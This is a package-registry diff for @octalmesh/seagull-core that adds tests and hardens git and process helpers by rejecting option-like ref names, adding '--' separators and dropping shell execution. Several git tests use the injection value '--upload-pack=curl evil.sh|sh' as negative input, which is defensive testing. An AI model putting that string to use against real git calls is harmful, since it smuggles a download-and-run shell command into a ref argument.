@octalmesh/seagull-core 0.0.2 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (38) hide show
  1. package/CHANGELOG.md +38 -0
  2. package/README.md +173 -39
  3. package/dist/index.mjs +218 -152
  4. package/package.json +6 -6
  5. package/src/config/loader.test.ts +505 -0
  6. package/src/config/loader.ts +31 -12
  7. package/src/config/publishing.test.ts +92 -0
  8. package/src/config/publishing.ts +9 -5
  9. package/src/config/resolve-config-file.test.ts +60 -0
  10. package/src/config/schema.test.ts +466 -0
  11. package/src/config/schema.ts +16 -10
  12. package/src/config/spec-format.test.ts +54 -0
  13. package/src/config/spec-format.ts +48 -0
  14. package/src/config/template.test.ts +168 -0
  15. package/src/config/types.ts +3 -3
  16. package/src/generator/generator.test.ts +59 -0
  17. package/src/generator/registry.test.ts +84 -0
  18. package/src/generator/types.ts +9 -14
  19. package/src/generators/openapi-generator-cli/openapi-generator-cli.generator.test.ts +259 -0
  20. package/src/generators/openapi-generator-cli/patchers/go-module.patcher.test.ts +119 -0
  21. package/src/generators/openapi-generator-cli/patchers/maven.patcher.test.ts +141 -0
  22. package/src/generators/openapi-generator-cli/patchers/npm.patcher.test.ts +132 -0
  23. package/src/generators/openapi-typescript/openapi-typescript.generator.test.ts +190 -0
  24. package/src/git/git.test.ts +234 -0
  25. package/src/git/git.ts +50 -4
  26. package/src/index.ts +8 -0
  27. package/src/process/exec.test.ts +103 -0
  28. package/src/process/exec.ts +1 -2
  29. package/src/process/resolve-bin.test.ts +43 -0
  30. package/src/readme/default-templates.test.ts +179 -0
  31. package/src/readme/default-templates.ts +5 -10
  32. package/src/readme/readme-renderer.test.ts +121 -0
  33. package/src/readme/readme-renderer.ts +3 -7
  34. package/src/redocly/redocly-sync.test.ts +190 -0
  35. package/src/redocly/redocly-sync.ts +3 -1
  36. package/src/test-support/fixtures.ts +65 -0
  37. package/src/version/version.test.ts +93 -0
  38. package/src/version/version.ts +4 -2
@@ -0,0 +1,190 @@
1
+ import { mkdtemp, readFile, rm, stat } from "node:fs/promises";
2
+ import { tmpdir } from "node:os";
3
+ import path from "node:path";
4
+
5
+ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
6
+
7
+ import type { GenerateContext, PrepareContext } from "../../generator/types";
8
+ import { makeArtifact, makeContract } from "../../test-support/fixtures";
9
+
10
+ const runMock = vi.fn((..._args: unknown[]) => Promise.resolve());
11
+ const resolveBinPathMock = vi.fn(
12
+ (..._args: unknown[]) => "/fake/bin/openapi-typescript.js",
13
+ );
14
+
15
+ vi.mock("../../process/exec", () => ({
16
+ run: (...a: unknown[]) => runMock(...a),
17
+ }));
18
+ vi.mock("../../process/resolve-bin", () => ({
19
+ resolveBinPath: (...a: unknown[]) => resolveBinPathMock(...a),
20
+ }));
21
+
22
+ const { OpenApiTypescriptGenerator } =
23
+ await import("./openapi-typescript.generator");
24
+
25
+ describe("OpenApiTypescriptGenerator", () => {
26
+ let dir: string;
27
+
28
+ beforeEach(async () => {
29
+ dir = await mkdtemp(path.join(tmpdir(), "seagull-oats-"));
30
+ runMock.mockClear();
31
+ resolveBinPathMock.mockClear();
32
+ });
33
+
34
+ afterEach(async () => {
35
+ await rm(dir, { recursive: true, force: true });
36
+ });
37
+
38
+ it("exposes 'tool' as \"openapi-typescript\"", () => {
39
+ expect(new OpenApiTypescriptGenerator().tool).toBe("openapi-typescript");
40
+ });
41
+
42
+ describe("prepare", () => {
43
+ it("creates every entry's output directory", async () => {
44
+ const outA = path.join(dir, "auth", "ts-server");
45
+ const outB = path.join(dir, "catalog", "ts-server");
46
+
47
+ const ctx: PrepareContext = {
48
+ rootDir: dir,
49
+ entries: [
50
+ {
51
+ contract: makeContract(),
52
+ artifact: makeArtifact({ outputDir: outA }),
53
+ },
54
+ {
55
+ contract: makeContract({ name: "catalog" }),
56
+ artifact: makeArtifact({ outputDir: outB }),
57
+ },
58
+ ],
59
+ };
60
+
61
+ await new OpenApiTypescriptGenerator().prepare(ctx);
62
+
63
+ await expect(stat(outA)).resolves.toMatchObject({});
64
+ await expect(stat(outB)).resolves.toMatchObject({});
65
+ });
66
+
67
+ it("resolves the openapi-typescript bin and runs it once, in rootDir, with no extra args", async () => {
68
+ const ctx: PrepareContext = { rootDir: dir, entries: [] };
69
+
70
+ await new OpenApiTypescriptGenerator().prepare(ctx);
71
+
72
+ expect(resolveBinPathMock).toHaveBeenCalledWith(
73
+ "openapi-typescript",
74
+ "openapi-typescript",
75
+ );
76
+ expect(runMock).toHaveBeenCalledWith(
77
+ "node",
78
+ ["/fake/bin/openapi-typescript.js"],
79
+ dir,
80
+ );
81
+ expect(runMock).toHaveBeenCalledOnce();
82
+ });
83
+ });
84
+
85
+ describe("generate", () => {
86
+ function makeCtx(
87
+ overrides: Partial<GenerateContext> = {},
88
+ ): GenerateContext {
89
+ return {
90
+ rootDir: dir,
91
+ contract: makeContract(),
92
+ artifact: makeArtifact({
93
+ tool: "openapi-typescript",
94
+ lang: "typescript",
95
+ kind: "server",
96
+ outputDir: dir,
97
+ package: "@octalmesh/auth-server",
98
+ }),
99
+ version: "1.0.0",
100
+ specInputPath: "/repo/dist/specs/auth.json",
101
+ ...overrides,
102
+ };
103
+ }
104
+
105
+ it("writes a package.json with name/version/description/types/files/license", async () => {
106
+ await new OpenApiTypescriptGenerator().generate(
107
+ makeCtx({ version: "1.4.0" }),
108
+ );
109
+
110
+ const pkg = JSON.parse(
111
+ await readFile(path.join(dir, "package.json"), "utf8"),
112
+ ) as Record<string, unknown>;
113
+
114
+ expect(pkg).toMatchObject({
115
+ name: "@octalmesh/auth-server",
116
+ version: "1.4.0",
117
+ description: "Types-only OpenAPI contract for the auth service.",
118
+ types: "./index.d.ts",
119
+ files: ["index.d.ts"],
120
+ license: "MIT",
121
+ });
122
+ });
123
+
124
+ it("writes 'repository' as git+<repositoryUrl>.git", async () => {
125
+ await new OpenApiTypescriptGenerator().generate(
126
+ makeCtx({
127
+ artifact: makeArtifact({
128
+ outputDir: dir,
129
+ package: "@octalmesh/auth-server",
130
+ publishing: {
131
+ branch: "sdk/svc-auth/ts-server",
132
+ tagTemplate: "svc-{service}-{id}-v{version}",
133
+ repositoryUrl: "https://github.com/OctalMesh/ows-contracts",
134
+ npmRegistry: "https://npm.pkg.github.com",
135
+ npmAccess: "public",
136
+ mavenRepositoryId: "github",
137
+ mavenRepositoryUrl:
138
+ "https://maven.pkg.github.com/OctalMesh/ows-contracts",
139
+ },
140
+ }),
141
+ }),
142
+ );
143
+
144
+ const pkg = JSON.parse(
145
+ await readFile(path.join(dir, "package.json"), "utf8"),
146
+ ) as Record<string, unknown>;
147
+
148
+ expect(pkg.repository).toEqual({
149
+ type: "git",
150
+ url: "git+https://github.com/OctalMesh/ows-contracts.git",
151
+ });
152
+ });
153
+
154
+ it("writes 'publishConfig' from artifact.publishing.npmRegistry/npmAccess", async () => {
155
+ await new OpenApiTypescriptGenerator().generate(
156
+ makeCtx({
157
+ artifact: makeArtifact({
158
+ outputDir: dir,
159
+ package: "@octalmesh/auth-server",
160
+ publishing: {
161
+ branch: "sdk/svc-auth/ts-server",
162
+ tagTemplate: "svc-{service}-{id}-v{version}",
163
+ repositoryUrl: "https://github.com/OctalMesh/ows-contracts",
164
+ npmRegistry: "https://custom.example.com",
165
+ npmAccess: "restricted",
166
+ mavenRepositoryId: "github",
167
+ mavenRepositoryUrl:
168
+ "https://maven.pkg.github.com/OctalMesh/ows-contracts",
169
+ },
170
+ }),
171
+ }),
172
+ );
173
+
174
+ const pkg = JSON.parse(
175
+ await readFile(path.join(dir, "package.json"), "utf8"),
176
+ ) as Record<string, unknown>;
177
+
178
+ expect(pkg.publishConfig).toEqual({
179
+ registry: "https://custom.example.com",
180
+ access: "restricted",
181
+ });
182
+ });
183
+
184
+ it("does not invoke the openapi-typescript binary itself (that only happens in prepare)", async () => {
185
+ await new OpenApiTypescriptGenerator().generate(makeCtx());
186
+
187
+ expect(runMock).not.toHaveBeenCalled();
188
+ });
189
+ });
190
+ });
@@ -0,0 +1,234 @@
1
+ import { beforeEach, describe, expect, it, vi } from "vitest";
2
+
3
+ const spawnSyncMock = vi.fn<(...args: unknown[]) => unknown>();
4
+
5
+ vi.mock("node:child_process", () => ({
6
+ spawnSync: (...args: unknown[]) => spawnSyncMock(...args),
7
+ }));
8
+
9
+ const {
10
+ assertSafeRefName,
11
+ git,
12
+ readFileAtTag,
13
+ remoteBranchExists,
14
+ requireOk,
15
+ tagExists,
16
+ } = await import("./git");
17
+
18
+ describe("git", () => {
19
+ beforeEach(() => {
20
+ spawnSyncMock.mockReset();
21
+ });
22
+
23
+ it("runs the git binary with the given args/cwd and utf8 encoding", () => {
24
+ spawnSyncMock.mockReturnValue({ status: 0, stdout: "", stderr: "" });
25
+
26
+ git(["status"], "/repo");
27
+
28
+ expect(spawnSyncMock).toHaveBeenCalledWith("git", ["status"], {
29
+ cwd: "/repo",
30
+ encoding: "utf8",
31
+ });
32
+ });
33
+
34
+ it("trims stdout/stderr", () => {
35
+ spawnSyncMock.mockReturnValue({
36
+ status: 0,
37
+ stdout: " hello \n",
38
+ stderr: " world \n",
39
+ });
40
+
41
+ const result = git(["status"], "/repo");
42
+
43
+ expect(result).toEqual({ status: 0, stdout: "hello", stderr: "world" });
44
+ });
45
+
46
+ it("defaults status to 1 and stdout/stderr to '' when spawnSync returns nullish fields", () => {
47
+ spawnSyncMock.mockReturnValue({
48
+ status: null,
49
+ stdout: null,
50
+ stderr: null,
51
+ });
52
+
53
+ expect(git([], "/repo")).toEqual({ status: 1, stdout: "", stderr: "" });
54
+ });
55
+ });
56
+
57
+ describe("remoteBranchExists", () => {
58
+ beforeEach(() => {
59
+ spawnSyncMock.mockReset();
60
+ });
61
+
62
+ it("returns true when 'git ls-remote --exit-code --heads' succeeds", () => {
63
+ spawnSyncMock.mockReturnValue({ status: 0, stdout: "", stderr: "" });
64
+
65
+ expect(remoteBranchExists("/repo", "sdk/svc-auth/ts-client")).toBe(true);
66
+ expect(spawnSyncMock).toHaveBeenCalledWith(
67
+ "git",
68
+ [
69
+ "ls-remote",
70
+ "--exit-code",
71
+ "--heads",
72
+ "origin",
73
+ "--",
74
+ "sdk/svc-auth/ts-client",
75
+ ],
76
+ { cwd: "/repo", encoding: "utf8" },
77
+ );
78
+ });
79
+
80
+ it("returns false when the command exits non-zero", () => {
81
+ spawnSyncMock.mockReturnValue({ status: 2, stdout: "", stderr: "" });
82
+
83
+ expect(remoteBranchExists("/repo", "missing-branch")).toBe(false);
84
+ });
85
+
86
+ it("rejects a branch starting with '-' instead of passing it to git", () => {
87
+ expect(() =>
88
+ remoteBranchExists("/repo", "--upload-pack=curl evil.sh|sh"),
89
+ ).toThrow(/Invalid git branch/);
90
+ expect(spawnSyncMock).not.toHaveBeenCalled();
91
+ });
92
+ });
93
+
94
+ describe("tagExists", () => {
95
+ beforeEach(() => {
96
+ spawnSyncMock.mockReset();
97
+ });
98
+
99
+ it("returns true when 'git ls-remote --exit-code --tags' succeeds", () => {
100
+ spawnSyncMock.mockReturnValue({ status: 0, stdout: "", stderr: "" });
101
+
102
+ expect(tagExists("/repo", "svc-auth-ts-client-v1.0.0")).toBe(true);
103
+ expect(spawnSyncMock).toHaveBeenCalledWith(
104
+ "git",
105
+ [
106
+ "ls-remote",
107
+ "--exit-code",
108
+ "--tags",
109
+ "origin",
110
+ "--",
111
+ "svc-auth-ts-client-v1.0.0",
112
+ ],
113
+ { cwd: "/repo", encoding: "utf8" },
114
+ );
115
+ });
116
+
117
+ it("returns false when the tag doesn't exist remotely", () => {
118
+ spawnSyncMock.mockReturnValue({ status: 2, stdout: "", stderr: "" });
119
+
120
+ expect(tagExists("/repo", "missing-tag")).toBe(false);
121
+ });
122
+
123
+ it("rejects a tag starting with '-' instead of passing it to git", () => {
124
+ expect(() => tagExists("/repo", "--upload-pack=curl evil.sh|sh")).toThrow(
125
+ /Invalid git tag/,
126
+ );
127
+ expect(spawnSyncMock).not.toHaveBeenCalled();
128
+ });
129
+ });
130
+
131
+ describe("readFileAtTag", () => {
132
+ beforeEach(() => {
133
+ spawnSyncMock.mockReset();
134
+ });
135
+
136
+ it("returns the file content at the given tag when fetch and show both succeed", () => {
137
+ spawnSyncMock
138
+ .mockReturnValueOnce({ status: 0, stdout: "", stderr: "" }) // fetch
139
+ .mockReturnValueOnce({ status: 0, stdout: "abc123\n", stderr: "" }); // show
140
+
141
+ const content = readFileAtTag("/repo", "v1.0.0", "SPEC_HASH");
142
+
143
+ expect(content).toBe("abc123");
144
+ expect(spawnSyncMock).toHaveBeenNthCalledWith(
145
+ 1,
146
+ "git",
147
+ ["fetch", "origin", "--force", "--", "refs/tags/v1.0.0:refs/tags/v1.0.0"],
148
+ { cwd: "/repo", encoding: "utf8" },
149
+ );
150
+ expect(spawnSyncMock).toHaveBeenNthCalledWith(
151
+ 2,
152
+ "git",
153
+ ["show", "v1.0.0:SPEC_HASH"],
154
+ { cwd: "/repo", encoding: "utf8" },
155
+ );
156
+ });
157
+
158
+ it("returns null when the tag can't be fetched", () => {
159
+ spawnSyncMock.mockReturnValueOnce({ status: 1, stdout: "", stderr: "err" });
160
+
161
+ expect(readFileAtTag("/repo", "v1.0.0", "SPEC_HASH")).toBeNull();
162
+ expect(spawnSyncMock).toHaveBeenCalledTimes(1);
163
+ });
164
+
165
+ it("rejects a tag starting with '-' instead of passing it to git", () => {
166
+ expect(() =>
167
+ readFileAtTag("/repo", "--upload-pack=curl evil.sh|sh", "SPEC_HASH"),
168
+ ).toThrow(/Invalid git tag/);
169
+ expect(spawnSyncMock).not.toHaveBeenCalled();
170
+ });
171
+
172
+ it("rejects an empty file path instead of passing it to git", () => {
173
+ expect(() => readFileAtTag("/repo", "v1.0.0", "")).toThrow(
174
+ /Invalid git file path/,
175
+ );
176
+ expect(spawnSyncMock).not.toHaveBeenCalled();
177
+ });
178
+
179
+ it("returns null when the tag exists but the file doesn't (pre-dates the file's introduction)", () => {
180
+ spawnSyncMock
181
+ .mockReturnValueOnce({ status: 0, stdout: "", stderr: "" })
182
+ .mockReturnValueOnce({
183
+ status: 128,
184
+ stdout: "",
185
+ stderr: "fatal: path does not exist",
186
+ });
187
+
188
+ expect(readFileAtTag("/repo", "v0.1.0", "SPEC_HASH")).toBeNull();
189
+ });
190
+ });
191
+
192
+ describe("assertSafeRefName", () => {
193
+ it("does not throw for an ordinary ref name", () => {
194
+ expect(() =>
195
+ assertSafeRefName("sdk/svc-auth/ts-client", "branch"),
196
+ ).not.toThrow();
197
+ });
198
+
199
+ it("throws for a ref name starting with '-'", () => {
200
+ expect(() => assertSafeRefName("-x", "branch")).toThrow(
201
+ 'Invalid git branch "-x": must not start with "-" - git would parse it as a command-line option instead of a ref name',
202
+ );
203
+ });
204
+
205
+ it("throws for an empty ref name", () => {
206
+ expect(() => assertSafeRefName("", "tag")).toThrow(/Invalid git tag/);
207
+ });
208
+ });
209
+
210
+ describe("requireOk", () => {
211
+ it("does not throw for a successful result", () => {
212
+ expect(() =>
213
+ requireOk({ status: 0, stdout: "ok", stderr: "" }, "should not throw"),
214
+ ).not.toThrow();
215
+ });
216
+
217
+ it("throws '<message>: <stderr>' when stderr is present", () => {
218
+ expect(() =>
219
+ requireOk(
220
+ { status: 1, stdout: "", stderr: "fatal: not a git repository" },
221
+ "Failed to create worktree",
222
+ ),
223
+ ).toThrow("Failed to create worktree: fatal: not a git repository");
224
+ });
225
+
226
+ it("falls back to stdout when stderr is empty", () => {
227
+ expect(() =>
228
+ requireOk(
229
+ { status: 1, stdout: "some diagnostic on stdout", stderr: "" },
230
+ "Commit failed",
231
+ ),
232
+ ).toThrow("Commit failed: some diagnostic on stdout");
233
+ });
234
+ });
package/src/git/git.ts CHANGED
@@ -1,5 +1,37 @@
1
1
  import { spawnSync } from "node:child_process";
2
2
 
3
+ import { z } from "zod";
4
+
5
+ /**
6
+ * A git ref name (branch or tag) that's safe to pass as a CLI argument to
7
+ * `git`.
8
+ *
9
+ * @see {@link assertSafeRefName}
10
+ */
11
+ export const gitRefNameSchema = z
12
+ .string()
13
+ .min(1)
14
+ .refine((value) => !value.startsWith("-"), {
15
+ message:
16
+ 'must not start with "-" - git would parse it as a command-line option instead of a ref name',
17
+ });
18
+
19
+ /**
20
+ * Throws if `name` isn't a safe git ref name - see {@link gitRefNameSchema}.
21
+ *
22
+ * @param name - The candidate branch/tag name.
23
+ * @param label - What to call it in the error message (e.g. `"branch"`).
24
+ */
25
+ export function assertSafeRefName(name: string, label: string): void {
26
+ const result = gitRefNameSchema.safeParse(name);
27
+
28
+ if (!result.success) {
29
+ throw new Error(
30
+ `Invalid git ${label} "${name}": ${result.error.issues[0]?.message}`,
31
+ );
32
+ }
33
+ }
34
+
3
35
  /**
4
36
  * The result of executing a git command.
5
37
  *
@@ -38,9 +70,13 @@ export function git(args: string[], cwd: string): GitResult {
38
70
  * @returns Whether the remote branch exists (true) or not (false).
39
71
  */
40
72
  export function remoteBranchExists(repoRoot: string, branch: string): boolean {
73
+ assertSafeRefName(branch, "branch");
74
+
41
75
  return (
42
- git(["ls-remote", "--exit-code", "--heads", "origin", branch], repoRoot)
43
- .status === 0
76
+ git(
77
+ ["ls-remote", "--exit-code", "--heads", "origin", "--", branch],
78
+ repoRoot,
79
+ ).status === 0
44
80
  );
45
81
  }
46
82
 
@@ -52,8 +88,10 @@ export function remoteBranchExists(repoRoot: string, branch: string): boolean {
52
88
  * @returns Whether the remote tag exists (true) or not (false).
53
89
  */
54
90
  export function tagExists(repoRoot: string, tag: string): boolean {
91
+ assertSafeRefName(tag, "tag");
92
+
55
93
  return (
56
- git(["ls-remote", "--exit-code", "--tags", "origin", tag], repoRoot)
94
+ git(["ls-remote", "--exit-code", "--tags", "origin", "--", tag], repoRoot)
57
95
  .status === 0
58
96
  );
59
97
  }
@@ -67,8 +105,10 @@ export function tagExists(repoRoot: string, tag: string): boolean {
67
105
  * @returns The result of the underlying `git fetch` command.
68
106
  */
69
107
  function fetchTag(repoRoot: string, tag: string): GitResult {
108
+ assertSafeRefName(tag, "tag");
109
+
70
110
  return git(
71
- ["fetch", "origin", `refs/tags/${tag}:refs/tags/${tag}`, "--force"],
111
+ ["fetch", "origin", "--force", "--", `refs/tags/${tag}:refs/tags/${tag}`],
72
112
  repoRoot,
73
113
  );
74
114
  }
@@ -92,6 +132,12 @@ export function readFileAtTag(
92
132
  tag: string,
93
133
  filePath: string,
94
134
  ): string | null {
135
+ assertSafeRefName(tag, "tag");
136
+
137
+ if (filePath.length === 0) {
138
+ throw new Error("Invalid git file path: must not be empty");
139
+ }
140
+
95
141
  const fetch = fetchTag(repoRoot, tag);
96
142
 
97
143
  if (fetch.status !== 0) {
package/src/index.ts CHANGED
@@ -5,6 +5,11 @@ export {
5
5
  CONFIG_FILENAMES,
6
6
  resolveConfigPath,
7
7
  } from "./config/resolve-config-file";
8
+ export {
9
+ parseBundledSpec,
10
+ primarySpecFormat,
11
+ specFilename,
12
+ } from "./config/spec-format";
8
13
  export type {
9
14
  ResolvedArtifact,
10
15
  ResolvedArtifactEntry,
@@ -14,6 +19,7 @@ export type {
14
19
  SdkKind,
15
20
  SdkLang,
16
21
  SdkTool,
22
+ SpecFormat,
17
23
  VarsTree,
18
24
  } from "./config/types";
19
25
 
@@ -25,7 +31,9 @@ export { run, runSync } from "./process/exec";
25
31
  export { resolveBinPath } from "./process/resolve-bin";
26
32
 
27
33
  export {
34
+ assertSafeRefName,
28
35
  git,
36
+ gitRefNameSchema,
29
37
  readFileAtTag,
30
38
  remoteBranchExists,
31
39
  requireOk,
@@ -0,0 +1,103 @@
1
+ import { EventEmitter } from "node:events";
2
+
3
+ import { beforeEach, describe, expect, it, vi } from "vitest";
4
+
5
+ import { run, runSync } from "./exec";
6
+
7
+ const spawnMock = vi.fn<(...args: unknown[]) => unknown>();
8
+ const spawnSyncMock = vi.fn<(...args: unknown[]) => unknown>();
9
+
10
+ vi.mock("node:child_process", () => ({
11
+ spawn: (...args: unknown[]) => spawnMock(...args),
12
+ spawnSync: (...args: unknown[]) => spawnSyncMock(...args),
13
+ }));
14
+
15
+ class FakeChildProcess extends EventEmitter {}
16
+
17
+ describe("run", () => {
18
+ beforeEach(() => {
19
+ spawnMock.mockReset();
20
+ });
21
+
22
+ it("spawns the command with inherited stdio and no shell", async () => {
23
+ const child = new FakeChildProcess();
24
+
25
+ spawnMock.mockReturnValue(child);
26
+
27
+ const promise = run("redocly", ["lint", "spec.yaml"], "/repo");
28
+
29
+ child.emit("close", 0);
30
+ await promise;
31
+
32
+ expect(spawnMock).toHaveBeenCalledWith("redocly", ["lint", "spec.yaml"], {
33
+ cwd: "/repo",
34
+ stdio: "inherit",
35
+ });
36
+ });
37
+
38
+ it("resolves when the process exits 0", async () => {
39
+ const child = new FakeChildProcess();
40
+
41
+ spawnMock.mockReturnValue(child);
42
+
43
+ const promise = run("cmd", [], "/repo");
44
+
45
+ child.emit("close", 0);
46
+
47
+ await expect(promise).resolves.toBeUndefined();
48
+ });
49
+
50
+ it("rejects with a descriptive error when the process exits non-zero", async () => {
51
+ const child = new FakeChildProcess();
52
+
53
+ spawnMock.mockReturnValue(child);
54
+
55
+ const promise = run("cmd", ["arg1", "arg2"], "/repo");
56
+
57
+ child.emit("close", 2);
58
+
59
+ await expect(promise).rejects.toThrow("cmd arg1 arg2 exited with 2");
60
+ });
61
+
62
+ it("rejects when the process exits with a null code (e.g. killed by signal)", async () => {
63
+ const child = new FakeChildProcess();
64
+
65
+ spawnMock.mockReturnValue(child);
66
+
67
+ const promise = run("cmd", [], "/repo");
68
+
69
+ child.emit("close", null);
70
+
71
+ await expect(promise).rejects.toThrow("cmd exited with null");
72
+ });
73
+ });
74
+
75
+ describe("runSync", () => {
76
+ beforeEach(() => {
77
+ spawnSyncMock.mockReset();
78
+ });
79
+
80
+ it("runs the command synchronously with inherited stdio and no shell", () => {
81
+ spawnSyncMock.mockReturnValue({ status: 0 });
82
+
83
+ const status = runSync("git", ["status"], "/repo");
84
+
85
+ expect(status).toBe(0);
86
+ expect(spawnSyncMock).toHaveBeenCalledWith("git", ["status"], {
87
+ cwd: "/repo",
88
+ stdio: "inherit",
89
+ });
90
+ });
91
+
92
+ it("returns the non-zero exit status as-is", () => {
93
+ spawnSyncMock.mockReturnValue({ status: 1 });
94
+
95
+ expect(runSync("cmd", [], "/repo")).toBe(1);
96
+ });
97
+
98
+ it("defaults to status 1 when 'status' is null", () => {
99
+ spawnSyncMock.mockReturnValue({ status: null });
100
+
101
+ expect(runSync("cmd", [], "/repo")).toBe(1);
102
+ });
103
+ });
@@ -20,7 +20,7 @@ export function run(
20
20
  cwd: string,
21
21
  ): Promise<void> {
22
22
  return new Promise<void>((resolvePromise, reject) => {
23
- const child = spawn(command, args, { cwd, stdio: "inherit", shell: true });
23
+ const child = spawn(command, args, { cwd, stdio: "inherit" });
24
24
 
25
25
  child.on("close", (code) => {
26
26
  if (code === 0) {
@@ -46,7 +46,6 @@ export function runSync(command: string, args: string[], cwd: string): number {
46
46
  const result = spawnSync(command, args, {
47
47
  cwd,
48
48
  stdio: "inherit",
49
- shell: true,
50
49
  });
51
50
 
52
51
  return result.status ?? 1;